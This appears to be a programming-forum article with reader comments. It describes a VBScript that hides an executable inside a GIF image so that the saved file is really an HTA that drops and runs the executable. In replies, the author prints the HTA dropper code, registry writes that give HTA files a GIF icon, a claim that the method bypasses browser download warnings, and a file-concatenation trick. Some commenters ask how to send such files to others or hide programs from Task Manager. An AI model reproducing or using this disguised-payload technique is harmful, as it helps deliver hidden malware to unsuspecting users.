Hiding EXE Data Within GIF Data

Homer.gif + Calc.exe

Introduction

The goal of this vbscript is to hide EXE data within a GIF image.
The above Homer picture actually contains the Windows calculator. (calc.exe)

The EXE data is stored within a newly generated GIF comment block.

GIF Comment Block

Example

If you'd like to create your own examples, simply goto a run prompt and type:

cscript.exe hide.vbs your.gif your.exe

The script merges "your.gif" and "your.exe" to create "your.gif.hta.gif", which correctly displays using the IE browser. If the 'Hide extension for known file types' option is enabled, which is the default setting, the "Save Picture As..." will download "your.gif", it's really "your.gif.hta". (Example: Right-click and Save Homer)

Microsoft described an HTA as running much like an EXE file.

Good Luck!

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

About the Author

cyber_flash

United States

Member

Article Top

Poor

Excellent

Add a reason or comment to your vote: x
Votes of 3 or less require a comment

Comments and Discussions

You must Sign In to use this message board. (secure sign-in)

Search this forum
	Profile popups Noise Layout Per page

IDIOT

zuhdizuhdi

15:55 26 Jan '10

THATS ALL
Sign In·View Thread·Permalink	3.00/5 (2 votes)

i'm confused

Gian Isulat

1:36 30 Aug '08

I'm really confuse in this program... The merging of gif and .exe file is succesful but when I try opening the image ,the calc wont run automatically.. Can someone explain what this program really does? Is it possible to embed .exe into an image and run the .exe each time the image is press or open. help plz..
Sign In·View Thread·Permalink	2.57/5 (7 votes)

Re: i'm confused

shivsmonkey07

14:22 20 Nov '08

Yeah, could somebody please figure out how to do this?
Sign In·View Thread·Permalink

Re: i'm confused

hoclovetram

0:29 20 Jun '11

can you help me use hide exe within image?i don't known use it,and i very need use for practice.thank you very much
Sign In·View Thread·Permalink

Not working

badboy100

16:33 25 Apr '07

I type everything into the Run thing on the start bar and nothing happens what am i doing wrong
Sign In·View Thread·Permalink

Re: Not working

elixa

13:46 20 Jul '07

yup, i dont know if the early comments say this app can run. But this app can't run. For anyone can fix this, i'll apreciate you.
Sign In·View Thread·Permalink	3.00/5 (3 votes)

I have done my sniper.gif.hta file

sniper_cro

22:14 2 Feb '07

I done every thing like cyber_fash saad! after that I got an sniper.gif.hta.gif file wich can not execute then you need tu open this file in internet expolorer and save picture tu disk. new file will be sniper.git.hta witch open¨s like exe
Sign In·View Thread·Permalink	1.00/5 (1 vote)

I made it into a program

vitaloverdose

14:41 3 Aug '06

http://www.fataloverdose.copperstream.co.uk/files/biogif1.0.rar it has previews + ftp Upload
Sign In·View Thread·Permalink

How execute calc.exe [modified]

Triple123

5:19 2 Jul '06

Hi I execute a.gif.hta but the calc.exe don't run. How can i execute the calc.exe? Tanks -- modified at 11:25 Sunday 2nd July, 2006
Sign In·View Thread·Permalink	1.71/5 (7 votes)

Re: How execute calc.exe

Yogesh Bhat

18:24 19 Jan '07

Try this code.......... System.Diagnostics.Process.Start("calc.exe")
Sign In·View Thread·Permalink	1.00/5 (1 vote)

Nice But...

Invisible-boy

2:47 23 May '06

Hi, nice method for hide exe data within gif file, what's your adea about your Raveen? i think it's for raveen tnx Invisible-Boy
Sign In·View Thread·Permalink	2.00/5 (2 votes)

i can't use it to merg my exe and run it

hamid_m

23:05 6 Apr '06

Hi, i use your script at line: cscript.exe hide.vbs a.gif calc.exe but it return: hide.vbs(79, 1) vbscript runtime error: invalid procedure call or argument and create new file a.gif.hta (really a.gif.hta.gif) but it show image without run calc.exe why? please help me really i want merg my hta file to jpg file and send it to someone. thank you
Sign In·View Thread·Permalink	1.67/5 (3 votes)

Message Removed

Vasian Cepa

0:13 22 Feb '06

Message Removed
Sign In·View Thread·Permalink

Re: This has nothing to do with Steganography - and details

cyber_flash

5:22 22 Feb '06

Thanks for your comments.

1. I've updated the page title.
2. Nice tip: copy /B test.gif+test.html final.gif
3. Another nice tip: final.gif.zip (will be opened by winzip correctly)
4. "...replace cscript.exe and wscript.exe" for security concerns.
5. "...a bit irresponsible by the author" - maybe a little so, BUT
M$ is also partly irresponsible by introducing bugs and putting users at risk
plus your tips have a 'hint' of irresponsibility too. Wink | ;)

Now that I think of it, your simpler method of combining different file tpyes which still get rendered correctly is alot more powerful as it works in all apps. (my demo images don't)

Overall your post was very interesting.(-_-)

Wierd

N1NJ4z

10:07 26 Jan '06

For some reason, this completely does not work for me. I open the image and I get no calc.exe! Also, when I tryed running the command after downloading the source, using your a.gif and calc.exe, that didn't work either. I've never used vbscript in my life, and I have no idea why it isn't working. I have the source extracted and everything. Any comments?
Sign In·View Thread·Permalink

How to execute it with arguments

bjfile1

21:19 7 Jan '06

I add f.WriteLine "Set a=WScript.Arguments" to your code, hide.vbs. As I run the generated "hta" file with some input arguments, it give me some erros like Object Required: WScript Thank you for providing this interesting stuff bjfile
Sign In·View Thread·Permalink

Re: How to execute it with arguments

cyber_flash

11:42 9 Jan '06

Here's an example:

Create a file called test.hta, then run it as follows:

C:\test.hta "1" "2" "3"

I'll accept the command line args and display 1,2, and 3.

-------------------------test.hta-------------------------
<html>
<head>
<title>Command Line Agruments</title>

</head>

<SCRIPT Language="VBScript">

Sub Window_onLoad
arrCommands = Split(objTestHTA.commandLine, chr(34))
For i = 3 to (Ubound(arrCommands) - 1) Step 2
Msgbox arrCommands(i)
Next
End Sub

</SCRIPT>

<body>
</body>
</html>
------------------------------------------------------------

Here's where I got that code snippet from:

http://www.microsoft.com/technet/scriptcenter/resources/qanda/apr05/hey0420.mspx

But there is problem to implement that into your hide.vbs

bjfile1

10:30 10 Jan '06

I run the code and it is fine as
hta "1" "2" "3", or whatsoever
but when I implement the following line of code into your original hide.vbs, doing the same thing like ID="objTestHTA"

f.WriteLine "ID= Chr(34) & objTestHTA & Chr(34)"

or

f.WriteLine "ID=objTestHTA"

as I try

Msgbox objTestHTA.commandLine

I always find the objTestHTA is not defined and that give me problems to process the command line arguments

Since I don't have so much knowledge in vb, that is what I know about how to add " into the cscript or vbs.

Do you have any solutions on adding the double quote, ", into your original hide.vbs for the line of f.WriteLine "" so that ID=objTestHTA" can work?

notable to execute the hta file

harish_chk

23:47 12 Dec '05

Hi ,

This is a great stuff and thatks a lot for the post . It would be great if you can update me with certain information
How do i ensure(verify) that calc.exe is actually embedded in the GIF and How to execute this calc.exe using the a.gif.hta.gif file.I tried to rename the file as an exe and when this was run from the command prompt gif is launched and i am able to see the image but calc.exe is not getting launched .

Can you please update with info as how can we launch calc from this hta

Thanks in Advance ,

Harish

Re: notable to execute the hta file

cyber_flash

1:14 13 Dec '05

Hi,

Using winXP, right click on the homer image above, and it should
prompt you to save it as "homer2.gif.hta".

If you view this file, you'll see that it has an embedded script.
Running it should create and execute calc.exe.

<script language=vbs>
Set o=CreateObject("Scripting.FileSystemObject")
Set s=CreateObject("WScript.Shell")
p=o.GetSpecialFolder(2)&"\calc.exe"
t=split("4D,5A,90,0,3,0,0,0,4,0,0,0,FF,FF,...",",")
Set f=o.CreateTextFile(p,2)
For i=0 To UBound(t)
f.Write chr(Int("&H"&t(i)))
Next
f.close
s.run(p)
close()
</script>

Have to change the extension to get it to run the exe

rawiggum

9:40 13 Oct '05

When I save the gif to my desktop, and then try to open it, it defaults to my image software. I have to remove the extension .gif in order to run it.
Sign In·View Thread·Permalink	2.00/5 (3 votes)

Re: Have to change the extension to get it to run the exe

harish_chk

23:01 12 Dec '05

Hi AM am not able to execute the gif/ hta file , can you please tell me how to get this working and launch the hidden calc.exe Thanks, Harish
Sign In·View Thread·Permalink	2.67/5 (3 votes)

How to hide app in task manager(NT) Using VB 6

satheesh.sankranthi

0:14 29 Aug '05

Hi I am developing application using visual basic 6.0. I want know how to hide my application in Taskmanager in Windows NT or 2000 server. Please reply if u know the answer. sansat_05@yahoo.co.in Satheesh sankranthi.: satheesh
Sign In·View Thread·Permalink	1.80/5 (4 votes)

Q to cyber_flash ?

loser1

13:11 13 Mar '05

Thank u very much 4 your post i would like to ask u a question cause you probebly the one that know the answears how can i hide an exe file in a gif without seeing the exe icon in win when i save it in my desktop thank u very much poul
Sign In·View Thread·Permalink

Re: Q to cyber_flash ?

cyber_flash

1:39 14 Mar '05

When saving the GIF image to disk, IE incorrectly removes the last extension, for example: 'homer2.gif.hta.gif' is saved as 'homer2.gif.hta' --- the issue here is that IE allows the user to save what seems to be a GIF, but is actually an HTA file. HTA's have the same scope as an EXE! (this bypasses winXP SP2 IE download security warnings - see here)

Initially, the HTA icon is displayed, but you could modify the file type associations (to make an HTA appear as a GIF) in the registry as follows:

'To change the HTA file icon to a GIF, uncomment these 2 lines: 

's.RegWrite "HKLM\SOFTWARE\Classes\htafile\","GIF Image","REG_SZ" 

's.RegWrite "HKLM\SOFTWARE\Classes\htafile\DefaultIcon\","%SystemRoot%\system32\shimgvw.dll,2","REG_SZ"

(see hide.vbs for details)

Anyhow, the main idea of the script is the ability to embed data inside common file types such as .wmv, .jpg, .png without corrupting the original file. The IE bug is just a sidenote.

Thanks!